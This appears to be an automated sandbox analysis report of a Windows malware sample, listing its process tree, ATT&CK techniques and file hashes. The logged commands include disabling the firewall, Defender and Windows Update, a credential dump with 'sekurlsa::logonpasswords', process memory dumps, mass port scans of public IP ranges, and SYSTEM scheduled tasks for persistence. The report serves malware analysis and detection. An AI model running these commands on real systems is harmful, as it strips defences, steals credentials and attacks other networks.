- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2916
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2820
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:2700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:332
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2812
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2988
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2924
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2736
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\cjesejeiu\saqtluszq\wpcap.exe /S2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\cjesejeiu\saqtluszq\wpcap.exeC:\Windows\cjesejeiu\saqtluszq\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
PID:1740 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
PID:2752
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:1928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:3024
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
PID:2428 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:536
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:2184 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:2484
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:2160 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:2312 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:2200
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:2420 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:1164 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1636
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\cjesejeiu\saqtluszq\eejijdjqa.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\cjesejeiu\saqtluszq\Scant.txt2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:708 -
C:\Windows\cjesejeiu\saqtluszq\eejijdjqa.exeC:\Windows\cjesejeiu\saqtluszq\eejijdjqa.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\cjesejeiu\saqtluszq\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2580
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\cjesejeiu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\cjesejeiu\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:2304 -
C:\Windows\cjesejeiu\Corporate\vfshost.exeC:\Windows\cjesejeiu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2356
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "wnstpqclc" /ru system /tr "cmd /c C:\Windows\ime\huitpgn.exe"2⤵PID:484
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2540
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "wnstpqclc" /ru system /tr "cmd /c C:\Windows\ime\huitpgn.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1484
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "utthtbtws" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tusfgtaa\huitpgn.exe /p everyone:F"2⤵PID:2880
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1604
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "utthtbtws" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tusfgtaa\huitpgn.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:580
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tuzqilztc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\gzkauijfb\sgicvp.exe /p everyone:F"2⤵PID:1660
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1724
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "tuzqilztc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\gzkauijfb\sgicvp.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1512
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1504
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2632
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:788
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:332
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2948
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2724
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2508
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2196
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1804
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2432
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2996
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:3020
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 300 C:\Windows\TEMP\cjesejeiu\300.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1296
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- System Location Discovery: System Language Discovery
PID:1436 -
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:2276
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
PID:1700
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
PID:1952 -
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2484
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2180
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1388
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- System Location Discovery: System Language Discovery
PID:2320 -
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
PID:1864 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
- System Location Discovery: System Language Discovery
PID:2384
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2160
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:556
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
PID:1360
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
PID:2656 -
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
PID:1712 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
PID:1060
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2460
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:620
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:1980 -
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:960
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:680 -
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:640 -
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1508
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1924
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 1124 C:\Windows\TEMP\cjesejeiu\1124.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2304
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 1176 C:\Windows\TEMP\cjesejeiu\1176.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1956
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 1532 C:\Windows\TEMP\cjesejeiu\1532.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2856
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 1584 C:\Windows\TEMP\cjesejeiu\1584.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2324
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 672 C:\Windows\TEMP\cjesejeiu\672.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1392
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 2504 C:\Windows\TEMP\cjesejeiu\2504.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
C:\Windows\TEMP\cjesejeiu\quqjwwsff.exeC:\Windows\TEMP\cjesejeiu\quqjwwsff.exe -accepteula -mp 2268 C:\Windows\TEMP\cjesejeiu\2268.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2764
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\cjesejeiu\saqtluszq\scan.bat2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2460 -
C:\Windows\cjesejeiu\saqtluszq\lbtjpqfsw.exelbtjpqfsw.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:640
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
PID:3384 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2764
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:484
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:3400
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:3636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:484
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:3700
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2524
-
C:\Windows\SysWOW64\huzbeq.exeC:\Windows\SysWOW64\huzbeq.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2620
-
C:\Windows\system32\taskeng.exetaskeng.exe {9BC43A28-4530-480A-B8EA-2A173323F80A} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1704
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\gzkauijfb\sgicvp.exe /p everyone:F2⤵PID:2368
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1764
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\gzkauijfb\sgicvp.exe /p everyone:F3⤵PID:2112
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\huitpgn.exe2⤵PID:3024
-
C:\Windows\ime\huitpgn.exeC:\Windows\ime\huitpgn.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2288
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tusfgtaa\huitpgn.exe /p everyone:F2⤵PID:1680
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2096
-
-
C:\Windows\system32\cacls.execacls C:\Windows\tusfgtaa\huitpgn.exe /p everyone:F3⤵PID:2072
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\huitpgn.exe2⤵PID:2020
-
C:\Windows\ime\huitpgn.exeC:\Windows\ime\huitpgn.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2928
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\gzkauijfb\sgicvp.exe /p everyone:F2⤵PID:1760
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3048
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\gzkauijfb\sgicvp.exe /p everyone:F3⤵PID:1244
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tusfgtaa\huitpgn.exe /p everyone:F2⤵PID:2664
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4092
-
-
C:\Windows\system32\cacls.execacls C:\Windows\tusfgtaa\huitpgn.exe /p everyone:F3⤵PID:1648
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1244
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2452
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:3056
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
1.4MB
MD598b0d882737ad9827acb8dbb5a29b5d2
SHA1f2992bfde85eacb14a0489a5b6904dc375fb4cfe
SHA25636a3cb7cdfa34e63c6d3eeb7d72b49421cd4f2fbd17fd79b945e01eb7d4a6748
SHA51240767f692638740238c8ab3ade87684f14d7ed563bc02d82383d2c7df377d4ddd564c97e3341a6ee9f431129f0c16dc780328b8487ebb4583d883dd81dd1bd37
-
Filesize
1.3MB
MD567feabec43bf2f994552faed13fd3bfa
SHA1f43851cbbe611588c9127d8c7b47ce7e7c63e770
SHA256072bf28882ed6a89397078438a242d2831d3fb7b439b69e667d3a62934964790
SHA5129177f4edc5313dfeb84632e10aa06f8fddbbdb2aa94694c429919e554cdd0f46f7c46a425905c9506b4c527c584b0d3be7bf38f8dd51cfaf8f0a87f2a60b5be8
-
Filesize
3.8MB
MD5051110b08c57fcab81fe36586fd99a64
SHA1f4ad1e1316af369077350082fa72a64200fd7dc4
SHA2567fc0e2d29fef6b8aa1fafd1c011aacd4bddf00edc3737ed56de12eb25aff2518
SHA5125e715d46901d950e5e9acff1830ecaf94566feaba141d8618a4be326a219b550161540f8a29b98dc6b7dbc01aaa5c8041fd7d3c2cc9fdd5dd3b2320b69c6836e
-
Filesize
2.2MB
MD5eff23cd0485dcb33a591de4688625dad
SHA1858b6ecb70556f3e8c0cbdd7513734c80c012b2a
SHA25611462b8de34e107a7d4e5f08e7cae7264ca311f6ed1b9b2eb35021db84229a45
SHA5123f3bf0a1f80eeda13df4fc66f8d3c600b50a61cfe6a2eca2752bbcc0866bcceb42fac473aab3a3d5072fa247250fe8106c90b95af320850d3d8f04e497fbece8
-
Filesize
851KB
MD5f729c99d29b50ff0dfe90c9d325a83fc
SHA16e9b9a4a4297df7b37f316cf38dc5865f8bee219
SHA25675d3d81b57e810dd7f677fc4754b3af5b6506fd1e887998cdf4370764f0508a2
SHA5121ca7c92d3dbf9436bf5ccc05b3efb6a307277cfb85f24cc6d13c359b5b7cd560a56967c90fd6b21a1c6aeb27e220e16e0783b25465d180121a399aea55e0fc81
-
Filesize
7.1MB
MD51d4e7224b6fa77686a0a44e1684b2406
SHA1947a0eddaf82872dc2f85a92d3e62ea16303b46e
SHA25662b08e4ee5d6d4a21cfde0942cc0ddb4e375cd6538de56f674e144123f445f5c
SHA512a4d445d6079d82e7b91f47e53a87487bc4dec7f33b46533bfbdfbce1a4f129a840ccaaf90c5eb19a7a99ec85e6ed0425bb349f30fb60d57782da86025b606e99
-
Filesize
4.9MB
MD55da7e394bb423d42427f8dfbf591daa6
SHA1af38babdac93557b8c2690590e95f335b4145a81
SHA256df8c31fdf2d536ed6df1dab7ff5618929063e00a773bb890ec7e4a0ab681542b
SHA51247651000c44d549e8ddaf38fd302faf4dc0ed6b926ea89fd47ee67d3eb092c3ba81e94d54514fed4031be797353582588c45e2787859d6aa90c9da524c400f19
-
Filesize
5.2MB
MD5ec4ae96aa29512799aa25e1393fde07c
SHA167401f5c517f15bc0e52c156f7ffd8bd7bf75129
SHA256ae23fb55db52601896804d22baf2cda89f4121df705f31b5d5219561320c44bd
SHA5124e862c3bb11696ae7b55db5ee1f9e8bef446ca534a18a30a342a7a35339c8abdb96d39010857ab594d591ac49edf20b11b46fc301903abee4f2698c8187907d4
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
4KB
MD5223f46fd88363911e739b8c68e5e04be
SHA167b856eb7fff4b7318ade3175de6a813fcdd50fc
SHA2568899199e9a49c225e415e19a5b4ef26dc7873eab1603256cb8a996e942e4579d
SHA512ae89e0b26e7655c20c7e2c3c3a288f75aa074c6867e7456c6e9f85b22318488f6019e7f342fc216c7cefae464adf5bc228085ed160f71424fdb27b1fb07e569a
-
Filesize
164B
MD551edeca71ff417d68766d8b8fb81d788
SHA17afa461b334d963dfc47191fa62d8d869d939199
SHA256dc0cdcf148d4e085487d681b31463e92d0245b9cf15ee8ae770e4e4e617ac177
SHA5127ef5242967ae6cba8ee6cd8815c789b562321c0ffbb77051a8dd9d198e70e91338c67e45b1d479102f194a7df527132c95c085940c391a875fd11816898de72a
-
Filesize
160B
MD5df3d1d3f2d5a45d214ade4ded48a50d7
SHA165fbc1cbccdb0c08b251779a8bd39950b107011c
SHA256efa62fef02bb4c30e06b98395ca43d79ff76e17564f3132c9fbec42aa2284d31
SHA512fb0664956ad64d21780489b55abfee2df62a4a5f0f53cd3fb2c1fde656ecf6806e622fd707dcf5760bc6604b7be1ea566161245517f5ae416dbc9cf1cec0cb0a
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
